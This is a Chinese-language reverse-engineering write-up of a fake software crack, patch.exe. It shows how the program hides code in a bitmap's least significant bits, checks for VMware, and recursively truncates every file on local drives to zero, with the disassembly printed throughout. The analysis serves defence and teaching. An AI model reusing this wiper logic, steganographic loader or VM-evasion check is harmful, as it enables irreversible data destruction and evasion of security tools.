在运行从互联网上下载的未知程序之前,我们应三思而行。当然,并非每个应用程序都是危险的,但很容易找到一个会利用我们的天真无知的恶意程序——这可能会让我们付出惨重代价。让我们看看如何在运行未知程序之前分析其行为。
2004 年 9 月底,pl.comp.programming新闻组 上出现了一篇主题为“GENERIC CRACK FOR MKS-VIR!!!!”的帖子。它包含一个指向名为crack.zip 的存档的链接,其中包含一个小型可执行文件。根据用户的反馈,该程序不是破解程序,而且似乎包含恶意代码。指向同一文件的链接也出现在其他五个新闻组的帖子中,这些帖子称它不是软件破解程序,而是即时通讯密码破解程序。出于好奇,我们分析了这个文件。
逆向工程分析
任何此类分析都包含两个基本阶段。首先,我们需要检查可执行文件的结构,特别注意其资源列表(请参阅Windows 应用程序中的框架资源),并确定程序是用哪种语言编写的。我们还需要检查可执行文件是否经过压缩,例如使用FSG、 UPX或Aspack压缩工具。这让我们知道是否需要解压代码才能对其进行分析,因为分析压缩代码毫无意义。
分析的第二个也是最重要的步骤是检查可疑程序并找到隐藏在看似无害的应用程序中恶意的代码。希望我们能够确定程序的工作原理以及运行它可能产生的后果。正如我们将看到的,进行这样的分析非常值得,因为所谓的破解程序最终被证明远非无害。如果您遇到同样可疑的文件,我们强烈建议您进行类似的检查。
快速扫描
在下载的crack.zip档案中,只有一个 200 KB 的文件,名为patch.exe。注意!我们强烈建议您在开始分析之前更改文件的扩展名(例如,将文件命名为patch.bin)。这将防止您意外执行该文件,否则可能会造成非常不愉快的后果。
在分析的第一阶段,我们必须收集有关文件创建方式的信息。为此,我们将使用可执行文件标识符PEiD,其中包含一个数据库,可帮助我们确定程序是用什么语言编写的,以及使用了哪些压缩器或混淆器。我们也可以使用类似的工具FileInfo,但它稍旧一些,并且不再像PEiD那样动态开发,因此最终结果可能不太准确。
图 1. PEiD 可执行文件标识符的工作情况。
那么, PEiD给了我们什么信息呢?就文件结构而言,patch.exe是一个 32 位可执行文件,以 Windows 特定的可移植可执行(PE) 格式创建。在图 1 中,我们可以看到该程序是用Microsoft Visual C++ 6.0编写的。我们还知道该文件既没有压缩也没有以任何方式受到保护。目前,我们不需要其余信息,例如子系统类型、文件偏移量或程序的入口点。现在我们知道了可疑文件的结构,我们需要找出应用程序使用了哪些资源。
检查应用程序资源
我们将使用eXeScope工具,它允许我们查看和编辑可执行文件资源(见图 2)。在资源编辑器中浏览可执行文件的资源只会显示标准数据类型:位图、对话框、图标和清单(用于使用新的 Windows XP 图形样式显示应用程序窗口的资源;如果没有清单,将使用 Windows 9x 中已知的标准图形界面)。
图 2. eXeScope 资源编辑器。
乍一看,patch.exe似乎是一个完全无害的应用程序,但外表可能具有欺骗性。唯一能确定文件内容的方法是对反汇编程序进行繁琐的分析,以寻找隐藏在应用程序中的恶意代码。
Windows 应用程序中的资源
在 Windows 应用程序中,资源是定义程序的哪些部分可供用户访问的数据。使用资源有助于维护统一的用户界面,并可以轻松地将应用程序的一个模块替换为另一个模块。
资源与应用程序代码是分开的。虽然编辑可执行文件非常复杂,但编辑资源(例如更改窗口背景颜色)却很容易,只需要使用互联网上提供的众多工具之一,例如我们将在本文中使用的 eXeScope。
几乎任何数据格式都可用于资源。资源通常是多媒体文件(包括 GIF、JPEG、AVI、WAV),但也可以是单独的可执行文件以及文本、HTML 或 RTF 文档。
有关 Windows 资源的更多信息 »
代码分析
我们将使用IDA ( DataRescue开发的一款出色的商业反汇编程序)对可疑文件进行代码分析。IDA目前被认为是同类工具中最好的,可以对几乎所有可执行文件类型进行详细分析。DataRescue 网站提供的演示版本仅限于分析可移植可执行文件,但对于我们的需求来说,这已经足够了,因为这正是patch.exe文件的格式。
WinMain() 过程
将patch.exe文件加载到IDA反编译器后(图3),我们将看到该WinMain()过程,它是用C++编写的应用程序的入口点。
图 3. IDA 反汇编器中显示的 WinMain() 过程。
事实上,这并不是真正的入口点,因为还有第二个入口点,其地址写在 PE 文件头中,这是应用程序代码执行的真正起点。然而,在 C++ 应用程序中,第二个入口点内的代码仅负责初始化内部变量,开发人员无法影响它。由于我们显然只对恶意程序员编写的内容感兴趣,因此我们不必担心第二个入口点。该WinMain()过程如清单 1 所示。这种反编译代码可能难以分析,因此为了更容易理解,我们将其翻译成 C++。
清单 1. WinMain() 过程
.text:00401280 ; __stdcall WinMain(x,x,x,x)
.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p
.text:00401280
.text:00401280 hInstance = dword ptr 4
.text:00401280
.text:00401280 mov eax, [esp+hInstance]
.text:00401284 push 0 ; dwInitParam
.text:00401286 push offset DialogFunc ; lpDialogFunc
.text:0040128B push 0 ; hWndParent
.text:0040128D push 65h ; lpTemplateName
.text:0040128F push eax ; hInstance
.text:00401290 mov dword_405554, eax
.text:00401295 call ds:DialogBoxParamA
.text:00401295 ; Create a model dialog box from
.text:00401295 ; a dialog box template resource
.text:0040129B mov eax, hHandle
.text:004012A0 push INFINITE ; dwMilliseconds
.text:004012A2 push eax ; hHandle
.text:004012A3 call ds:WaitForSingleObject
.text:004012A9 retn 10h
.text:004012A9 _WinMain@16 endp
几乎任何死列表(反汇编代码)都可以用原始语言重建代码,这个过程或多或少有些困难。IDA等工具只为我们提供一些基本信息,例如函数、变量和常量名称或使用的调用约定(例如stdcall或cdecl ) 。IDA 有专门的插件可以对 x86 代码进行简单的反编译,但它们返回的结果仍然有很多不足之处。要执行翻译,我们需要分析函数结构、隔离内部变量并找到代码中对全局变量的引用。IDA 提供的信息足以发现给定函数需要什么类型和数量的参数。使用反汇编程序,我们还可以找出函数返回的值、它使用了哪些 WinAPI 过程以及它引用了哪些数据。我们的首要任务是确定函数的类型、它的调用约定和参数类型。然后,使用来自IDA的信息,我们可以隔离函数的局部变量。
创建函数的总体轮廓后,我们就可以开始重建原始代码了。第一步是重建对其他函数的调用,其中包括 WinAPI 例程以及程序自己的内部函数。对于 WinAPI 函数,我们可以分析后续参数,这些参数由命令以push与执行期间使用的顺序相反的顺序放入堆栈中(即从最后一个到第一个)。一旦我们掌握了所有参数的信息,我们就可以重建原始函数调用。用高级语言重建程序代码最困难的部分是重建内部逻辑:算术运算符(加、减、除和乘)、逻辑运算符(or、xor、not)、条件语句(if、else、switch)和循环(for、while、do)。将所有这些信息放在一起后,我们将能够将汇编代码翻译成原始语言。
现在应该清楚了,将机器代码翻译成高级语言需要人工干预,并且需要代码分析和编程经验。幸运的是,翻译对于我们的分析来说不是必需的,尽管翻译会使事情变得更简单。WinMain()翻译成 C++ 的过程代码可以在清单 2 中看到。
清单 2.转换为 C++ 的 WinMain() 过程
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
// display dialog box
DialogBoxParam(hInstance, DIALOG BOX IDENTIFIER, NULL, DialogFunc, 0);
// terminate the program only when hHandle is freed
return WaitForSingleObject(hHandle, INFINITE);
}
我们可以看到,第一个被调用的过程是DialogBoxParam(),它负责显示一个对话框。它的标识符表示保存在可执行文件资源中的一个框。然后程序调用该WaitForSingleObject()过程并终止。从这段代码中我们可以看到,程序显示一个对话框,在框关闭后(即当它不再可见时),它会等待,直到对象的状态hHandle被发出信号。简单地说,程序不会终止,直到在之前初始化的其他代码WinMain()完成其执行。这种技术通常在等待在单独的线程中启动的代码执行完成时使用。
但是,在主窗口关闭后,这样一个简单程序可能需要做什么呢?可能有些不愉快的事情,所以现在我们必须在代码中找到hHandle设置的位置——如果它正在被读取,那么它一定是之前被写入的。要使用 IDA 反汇编程序找到这个地方,我们需要单击hHandle变量名称。这将向我们显示变量在数据部分中的位置(hHandle是一个正常的 32 位DWORD值):
.data:004056E4 ; HANDLE hHandle
.data:004056E4 hHandle dd 0 ; DATA XREF: .text:00401108w
.data:004056E4 ; WinMain(x,x,x,x)+1Br
在变量名的右侧,我们可以看到引用(图 4),它指示代码中读取或修改变量的位置。
图 4. IDA 反汇编器中的参考窗口。
神秘的参考资料
让我们看一下对 的引用hHandle。其中一个是WinMain()之前显示的过程,其中读取变量(因此字母为r)。但是,另一个引用(列表中的第一个)更有趣,因为从其描述中我们可以看到变量hHandle正在被修改(字母w,如write)。现在我们只需单击引用即可移动到代码中修改变量的部分。此部分显示在清单 3 中。
清单 3.负责写入变量的代码部分
.text:004010F7 mov edx, offset lpInterface
.text:004010FC mov eax, lpCodePointer
.text:00401101 jmp short loc_401104 ; mysterious call
.text:00401103 db 0B8h ; junk
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; mysterious call
.text:00401106 db 0 ; junk
.text:00401107 db 0 ; same as above
.text:00401108 mov hHandle, eax ; handle setting
.text:0040110D pop edi
.text:0040110E mov eax, 1
.text:00401113 pop esi
.text:00401114 retn
对代码做几句解释。首先,将指向代码位置的指针加载到寄存器中eax(mov eax, lpCodePointer)。接下来,跳转到调用过程的命令(jmp short loc _401104)。调用过程时,句柄值将移入寄存器eax(过程通常会将值和错误代码返回到此 CPU 寄存器),然后将此值写入hHandle。熟悉汇编代码的人会立即注意到这段代码看起来多么可疑,以及它与普通的复杂 C++ 代码有多么不同。我们需要取消隐藏一些命令,而IDA反汇编程序不允许我们这样做,因此我们将使用十六进制Hiew 编辑器再次检查同一段代码(清单 4)。
清单 4.负责写入变量的代码,显示在 Hiew 编辑器中
.00401101: EB01 jmps .000401104 ; jump into the middle
.00401101: EB01 ; of the next command
.00401103: B8FFD00000 mov eax,00000D0FF ; the hidden command
.00401108: A3E4564000 mov [004056E4],eax ; setting the handle value
.0040110D: 5F pop edi
.0040110E: B801000000 mov eax,000000001
.00401113: 5E pop esi
.00401114: C3 retn
call eax这里看不到命令,因为它的操作码(命令字节)被插入到命令的中间mov eax, 0xD0FF。只有删除命令的第一个字节后,mov我们才能看到实际要执行的代码:
.00401101: EB01 jmps .000401104 ; jump into the middle
; of the next command
.00401103: 90 nop ; 1 byte of MOV command erased
.00401104: FFD0 call eax ; the hidden command
让我们回到命令执行的代码call eax。我们需要找出写入eax寄存器的地址所指示的内容。在此之前还有另一个命令,它将变量call eax的值写入寄存器(为了更容易理解代码,我们可以在IDA中通过用鼠标光标指示变量,按下键并输入新名称来更改变量的名称)。再次,我们将使用引用来找出写入此变量的具体内容:lpCodePointereax N
.data:004056E8 lpCodePointer dd 0 ; DATA XREF: .text:00401092w
.data:004056E8 ; .text:004010A1r
.data:004056E8 ; .text:004010BEr
.data:004056E8 ; .text:004010C8r
.data:004056E8 ; .text:004010FCr
默认情况下,变量的值仅在代码中的一个位置lpCodePointer被设置0和更改。单击对变量写入操作的引用将带我们进入清单 5 所示的代码片段。
清单 5. lpCodePointer 变量
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwBitmapSize, ecx ; store the size of the bitmap
.text:0040107D call ds:VirtualAlloc ; allocate memory, the address of
.text:0040107D ; the memory block will be stored in eax
.text:00401083 mov ecx, dwBitmapSize
.text:00401089 mov edi, eax ; edi = address of the allocated
.text:00401089 ; memory block
.text:0040108B mov edx, ecx
.text:0040108D xor eax, eax
.text:0040108F shr ecx, 2
.text:00401092 mov lpCodePointer, edi ; store the memory block address
.text:00401092 ; in the lpCodePointer variable
这里我们可以看到变量lpCodePointer包含函数分配的内存区域的地址VirtualAlloc()。我们现在要做的就是找出这段神秘的代码中隐藏着什么。
可疑的位图
查看之前的 deadlisting 代码片段,我们可以看到从patch.exe 文件的资源中加载了一个位图。位图的每个像素的 RGB 颜色分量都被读取并组合成隐藏代码的字节,然后写入先前分配的内存块,该内存块由 中保存的地址指示lpCodePointer。这段关键的代码片段负责从位图中检索数据,如清单 6 所示。
清单 6.从位图中检索数据的代码
.text:004010BE next_byte: ; CODE XREF: .text:004010F4j
.text:004010BE mov edi, lpCodePointer
.text:004010C4 xor ecx, ecx
.text:004010C6 jmp short loc_4010CE
.text:004010C8 next bit: ; CODE XREF: .text:004010E9j
.text:004010C8 mov edi, lpCodePointer
.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj
.text:004010CE ; .text:004010C6j
.text:004010CE mov edx, lpBitmapReference
.text:004010D4 mov bl, [edi+eax] ; assembled byte of code
.text:004010D7 mov dl, [edx+esi] ; next byte of RGB components
.text:004010DA and dl, 1 ; mask the least significant bit
.text:004010DD shl dl, cl ; shift the bit left and increment it
.text:004010DF or bl, dl ; assemble a byte from component bits
.text:004010E1 inc esi
.text:004010E2 inc ecx
.text:004010E3 mov [edi+eax], bl ; store a byte of code
.text:004010E6 cmp ecx, 8 ; 8-bit counter (8 bits=1 byte)
.text:004010E9 jb short next bit
.text:004010EB mov ecx, dwBitmapSize
.text:004010F1 inc eax
.text:004010F2 cmp esi, ecx
.text:004010F4 jb short next byte
.text:004010F6 pop ebx
.text:004010F7
.text:004010F7 loc_4010F7: ; CODE XREF: .text:004010B7j
.text:004010F7 mov edx, offset lpInterface
.text:004010FC mov eax, lpCodePointer
.text:00401101 jmp short loc_401104 ; mysterious call
.text:00401103 db 0B8h ; junk
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; mysterious call
在清单 6 所示的代码中可以看到两个循环。内循环负责检索位图每个像素的RGB 颜色分量(红色、绿色、蓝色)的连续字节。在本例中,位图以24bpp 格式(每像素 24 位)保存,因此每个像素由三个连续字节(每个 RGB 分量一个)描述。使用命令屏蔽八个连续字节中每个字节的最低有效位and dl, 1,然后将其组装起来以创建一个新代码字节。组装好这个新字节后,将其写入缓冲区lpCodePointer。然后,在外循环中,循环的计数器lpCodePointer递增,以便它指向可以存储下一个代码字节的位置。完成后,程序返回其内循环,在那里检索位图的下八个字节。
执行外层循环直到从位图像素中检索出隐藏代码的所有字节。迭代次数等于像素总数,该总数是根据位图头中记录的宽度和高度计算得出的,如清单 7 所示。
清单 7.计算位图大小的代码
.text:0040105B ; pointer to the start of the bitmap
.text:0040105B ; is stored in the eax register
.text:0040105B mov ecx, [eax+8] ; bitmap height
.text:0040105E push 40h
.text:00401060 imul ecx, [eax+4] ; width * height = number
.text:00401060 ; of bytes used for the pixels
.text:00401064 push 3000h
.text:00401069 add eax, 40 ; size of bitmap header
.text:0040106C lea ecx, [ecx+ecx*2] ; every pixel is described
.text:0040106C ; by 3 bytes,so the result of multiplying
.text:0040106C ; width by height must be multiplied by 3
.text:0040106F mov lpBitmapPointer, eax ; store the pointer to the next pixel
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwBitmapSize, ecx ; store bitmap size
从可执行文件的资源中加载位图后,其起始地址(表示文件头)将被放入寄存器中eax。从文件头中检索位图的尺寸,并将其宽度和高度相乘以得出位图中的总像素数。
每个像素由三个字节描述,因此结果必须另外乘以三,才能得到用于描述所有像素的数据的最终大小。为了使这个过程更容易理解,清单 8 显示了翻译成 C++ 的相同代码。
清单 8.从位图检索数据的代码(翻译成 C++)
unsigned int i = 0, j = 0, k;
unsigned int dwBitmapSize;
// calculate how many bytes all the pixels use
dwBitmapSize = width of bitmap * height of bitmap * 3;
while (i < dwBitmapSize)
{
// assemble 8 bits taken from RGB components into one byte of code
for (k = 0; k < 8; k++)
{
lpCodePointer[j] |= (lpBitmapPointer[i++] & 1) << k;
}
// next byte of code
j++;
}
我们的搜索成功了:现在我们知道了可疑代码的存储位置。秘密数据隐藏在位图每个像素的每个 RGB 分量的最低有效位中。修改后的位图与原始位图之间的差异太细微,人眼无法察觉,无论如何我们都需要原始图片来与修改后的版本进行比较。
一个人花费如此多的精力隐藏一小段代码,肯定不是出于我们的好意。是时候面对下一个困难任务了:需要从位图中提取隐藏的代码,然后进行检查。
提取代码
隔离隐藏的代码似乎不是一项复杂的任务——我们可以简单地执行可疑文件,然后使用SoftIce或OllyDbg等调试器从内存中转储处理后的代码。但是,我们不知道执行此代码的结果是什么,所以最好不要冒险。
为了进行分析,我们将使用我编写的一个小程序,该程序无需实际运行可疑应用程序即可从位图中检索隐藏的代码。该程序名为coder.exe,可在此处找到:
下载 ZIP 档案(PDF + 源代码):https://www.pelock.com/download/code-of-destruction-malware-analysis.zip
以及其源代码和隐藏代码的转储。该程序的工作原理是从patch.exe的资源中加载位图,然后从中提取代码。decoder.exe实用程序使用与原始patch.exe程序相同的算法(如上所述)。
隐藏代码
是时候对隐藏的代码进行分析了。我们将研究代码的一般操作模式,并详细检查其最有趣的部分。
为了进行操作,被分析的代码需要访问 Windows 系统函数 (WinAPI)。对这些函数的访问是通过一个特殊interface结构实现的(见清单 9),该结构的地址通过寄存器传递给隐藏代码edx。
清单 9.接口结构
00000000 interface struc ; (sizeof=0X48)
00000000 hKernel32 dd ? ; kernel32.dll library handle
00000004 hUser32 dd ? ; user32.dll library handle
00000008 GetProcAddress dd ? ; WinAPI procedure addresses
0000000C CreateThread dd ?
00000010 bIsWindowsNT dd ?
00000014 CreateFileA dd ?
00000018 GetDriveTypeA dd ?
0000001C SetEndOfFile dd ?
00000020 SetFilePointer dd ?
00000024 CloseHandle dd ?
00000028 SetFileAttributesA dd ?
0000002C SetCurrentDirectoryA dd ?
00000030 FindFirstFileA dd ?
00000034 FindNextFileA dd ?
00000038 FindClose dd ?
0000003C Sleep dd ?
00000040 MessageBoxA dd ?
00000044 stFindData dd ? ; WIN32_FIND_DATA
00000048 interface ends
该结构存储在主程序的数据段中。系统库kernel.dll和user32.dll 在执行隐藏代码之前被加载,它们的句柄被写入该interface结构中。
清单 10.主程序启动一个附加线程
; the code address is stored in eax register, and the address
; of the structure which provides access to WinAPI functions
; is stored in the edx register
hidden_code:
; eax + 16 = start point of code which will be executed in the thread
lea ecx, code_executed_in_the_thread[eax]
push eax
push esp
push 0
push edx ; parameter for the thread procedure
; interface structure address
push ecx ; address of the procedure which is to be executed
; in the thread
push 0
push 0
call [edx+interface.CreateThread] ; execute the code in the thread
loc_10:
pop ecx
sub dword ptr [esp], -2
retn
然后将其他数据放入结构中:一个标志,指示程序是否在 Windows XP/NT 下启动,以及GetProcAddres()和CreateThread函数的地址。系统库句柄和对函数的访问GetProcAddress()允许程序找到任何过程和任何库的地址,而不仅仅是系统库的地址。
主线程
CreateThread()当主应用程序使用存储在结构中的过程地址创建附加线程时,将执行隐藏代码interface。CreateThread()调用后,新创建线程的句柄将写入寄存器eax(0发生错误时写入),线程返回主程序代码后,句柄将写入变量hHandle。
让我们看一下清单 11,它向我们展示了负责运行隐藏代码的线程的代码。
清单 11.附加线程 – 隐藏代码执行
code_executed_in_the_thread: ; DATA XREF: seg000:00000000r
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, [ebp+8] ; offset of the interface containing
; WinAPI function addresses
; Don’t execute the "in" instruction under Windows NT
; because it would cause the program to crash
cmp [ebx+interface.bIsWindowsNT], 1
jz short dont_execute
; detect the VWware virtual machine. If the program detects that
; it is running inside an emulator, it terminates.
mov ecx, 0Ah
mov eax, 'VMXh'
mov dx, 'VX'
in eax, dx
cmp ebx, 'VMXh' ; VMware detection
jz loc_1DB
dont_execute: ; CODE XREF: seg000:00000023j
mov ebx, [ebp+8] ; offset of the interface containing
; WinAPI function addresses
call loc_54
aCreatefilea db 'CreateFileA',0
loc_54: ; CODE XREF: seg000:00000043p
push [ebx+interface.hKernel32]
call [ebx+interface.GetProcAddress]
mov [ebx+interface.CreateFileA], eax
call loc_6E
aSetendoffile db 'SetEndOfFile',0
loc_6E: ; CODE XREF: seg000:0000005Cp
push [ebx+interface.hKernel32]
call [ebx+interface.GetProcAddress] ; WinAPI procedure address
mov [ebx+interface.SetEndOfFile], eax
...
call loc_161
aSetfileattribu db 'SetFileAttributesA',0
loc_161: ; CODE XREF: seg000:00000149 p
push [ebx+interface.hKernel32]
call [ebx+interface.GetProcAddress] ; WinAPI procedure address
mov [ebx+interface.SetFileAttributesA], eax
lea edi, [ebx+interface.stFindData] ; WIN32_FIND_DATA
call scan_discs ; hard disk scanning
sub eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
retn 4 ; terminate thread
只有一个参数传递给在线程内启动的过程 - 在本例中是结构的地址interface。然后,该过程检查程序是否在 Windows NT 环境中启动。执行此检查是因为该过程巧妙地尝试检测是否在VMware虚拟机内启动 - 如果检测到,它将停止工作。检测是使用in汇编程序命令执行的,该命令通常用于从 I/O 端口读取数据,但在本例中,它将负责与VMware系统的内部通信。如果在 Windows NT 系统中执行此命令,则可能导致应用程序崩溃,而在 Windows 9x 下不会发生这种情况。
下一步是获取隐藏代码使用的其他 WinAPI 函数的处理程序并将其写入结构interface。获取所有地址后,scan_disks()程序将启动,逐个检查磁盘驱动器(清单 11 的第二部分)。
另一个线索:磁盘扫描
调用该scan_disks()过程是隐藏代码即将破坏某些东西的第一个明显迹象——否则所谓的破解者为什么需要浏览计算机的所有驱动器?扫描从标记为Y:的驱动器开始,向字母表的开头移动,直到到达驱动器C:,这对大多数 Windows 用户来说是最重要的。GetDriveTypeA()用于发现驱动器类型的过程以分区字母作为参数,然后返回分区的类型——其代码如清单 12 所示。
清单 12.扫描计算机驱动器的过程
scan_disks proc near ; CODE XREF: seg000:0000016Cp
var_28 = byte ptr -28h
pusha
push ':Y' ; disk scanning starts from the Y: drive
next_disk: ; CODE XREF: scan_disks+20j
push esp ; put the disk name on the stack (Y:, X:, W: etc.)
call [ebx+interface.GetDriveTypeA] ; GetDriveTypeA
sub eax, 3
cmp eax, 1
ja short cdrom_etc ; next hard disk drive letter
mov edx, esp
call erase_files
cdrom_etc: ; CODE XREF: scan_disks+10j
dec byte ptr [esp+0] ; next hard disk drive letter
cmp byte ptr [esp+0], 'C' ; check if C: drive was reached
jnb short next_disk ; repeat scan for the next disk
pop ecx
popa
retn
scan_disks endp
请注意,该过程会跳过 CD-ROM 和网络驱动器,而仅查找本地驱动器。
图 5.磁盘扫描过程的工作方式。
检测到合适的分区后,程序开始对其所有目录进行递归扫描(erase_files()清单 13 中的过程)。
清单 13.扫描分区以查找任何文件的过程
erase_files proc near ; CODE XREF: scan_disks+14p, erase_files+28p
pusha
push edx
call [ebx+interface.SetCurrentDirectoryA]
push '*' ; file search mask
mov eax, esp
push edi
push eax
call [ebx+interface.FindFirstFileA]
pop ecx
mov esi, eax
inc eax
jz short no_more_files
file_found: ; CODE XREF: erase_files+39j
test byte ptr [edi], 16 ; is it a directory?
jnz short directory_found
call zero_the_size_of_file
jmp short search_for_next_file
directory_found: ; CODE XREF: erase files+17j
lea edx, [edi+2Ch]
cmp byte ptr [edx], '.'
jz short search for next file
call erase_files ; recursive directory scan
search_for_next_file: ; CODE XREF: erase_files+1Ej, erase_files+26j
push 5
call [ebx+interface.Sleep]
push edi
push esi
call [ebx+interface.FindNextFileA]
test eax, eax
jnz short file found ; is it a directory?
no_more_files: ; CODE XREF: seg000:0000003Aj, erase files+12j
push esi
call [ebx+interface.FindClose]
push '..' ; cd ..
push esp
call [ebx+interface.SetCurrentDirectoryA]
pop ecx
popa
retn
erase_files endp
这是另一个线索,证明我们的怀疑是正确的,隐藏的代码确实有恶意目的。扫描仪使用FindFirstFile()、FindNextFile()和SetCurrentDirectory()函数扫描整个分区,搜索所有文件类型——这由*用于该FindFirstFile()过程的文件掩码指示。
确凿证据:文件归零
到目前为止,我们只能怀疑位图中隐藏的代码具有某种破坏力。在清单 14 中,我们可以看到patch.exe程序作者的恶意意图的具体证据。 证据可以在每次程序找到文件zero_file_size()时调用的过程中找到。erase_files()
清单 14. zero_file_size() 过程
zero_file_size proc near ; CODE XREF: erase_files+19p
pusha
mov eax, [edi+20h] ; file size
test eax, eax ; if the file has 0 bytes, skip it
jz short skip_file
lea eax, [edi+2Ch] ; file name
push 20h; ' ' ; new file attributes
push eax ; file_name
call [ebx+interface.SetFileAttributesA]; set file attributes
lea eax, [edi+2Ch]
sub edx, edx
push edx
push 80h
push 3
push edx
push edx
push 40000000h
push eax
call [ebx+interface.CreateFileA]
inc eax ; was the file opened successfully?
jz short skip_file ; if not, do not zero the file
dec eax
xchg eax, esi ; load file handle to esi register
push 0 ; set file pointer to the beginning (FILE_BEGIN)
push 0
push 0 ; fetch the address of the file handle
push esi ; file handle
call [ebx+interface.SetFilePointer]
push esi ; set the EOF to the current pointer (beginning of file),
; which will zero the size of the file
call [ebx+interface.SetEndOfFile]
push esi ; close the file
call [ebx+interface.CloseHandle]
skip_file: ; CODE XREF: zero file size+6j
; zero file size+2Aj
popa
retn
zero_file_size endp
该过程非常简单。对于找到的每个文件,该SetFileAttributesA()函数用于设置存档属性。这将删除所有其他属性,包括只读(如果已设置),这将阻止文件被写入。CreateFileA()然后使用该函数打开文件,如果成功,则将文件指针设置为文件的开头。
为了设置指针,该过程使用SetFilePointer()函数。该函数接受一个FILE_BEGIN参数,该参数定义文件指针的新位置 - 在本例中,它是文件的开头。设置指针后,SetEndOfFile()调用该函数,使用文件指针的当前位置设置文件的新大小。我们刚刚看到文件指针被设置为指向文件的最开头,因此执行此过程会导致文件大小被截断为零。将文件归零后,代码返回其递归目录扫描以搜索其他文件。因此,不知情的用户会从其本地磁盘上丢失一个又一个文件。
分析结果
通过对所谓破解程序的分析,我们了解了程序的运行方式,找到了隐藏的代码并确定了其行为——幸运的是,所有这些操作都无需运行程序。结果既明显又令人震惊:运行这个小小的 patch.exe程序的效果并不好。一旦执行,恶意代码就会将所有本地分区上的所有文件的大小更改为零字节,从而有效地消灭它们。如果您的磁盘上有宝贵的数据,那么损害可能是无法弥补的。
图6. patch.exe程序的工作方式。
原文始发于微信公众号(Ots安全):恶意软件代码隐藏在 EXE 文件中的图像中,对用于逃避防病毒的隐写术方法进行逆向工程分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论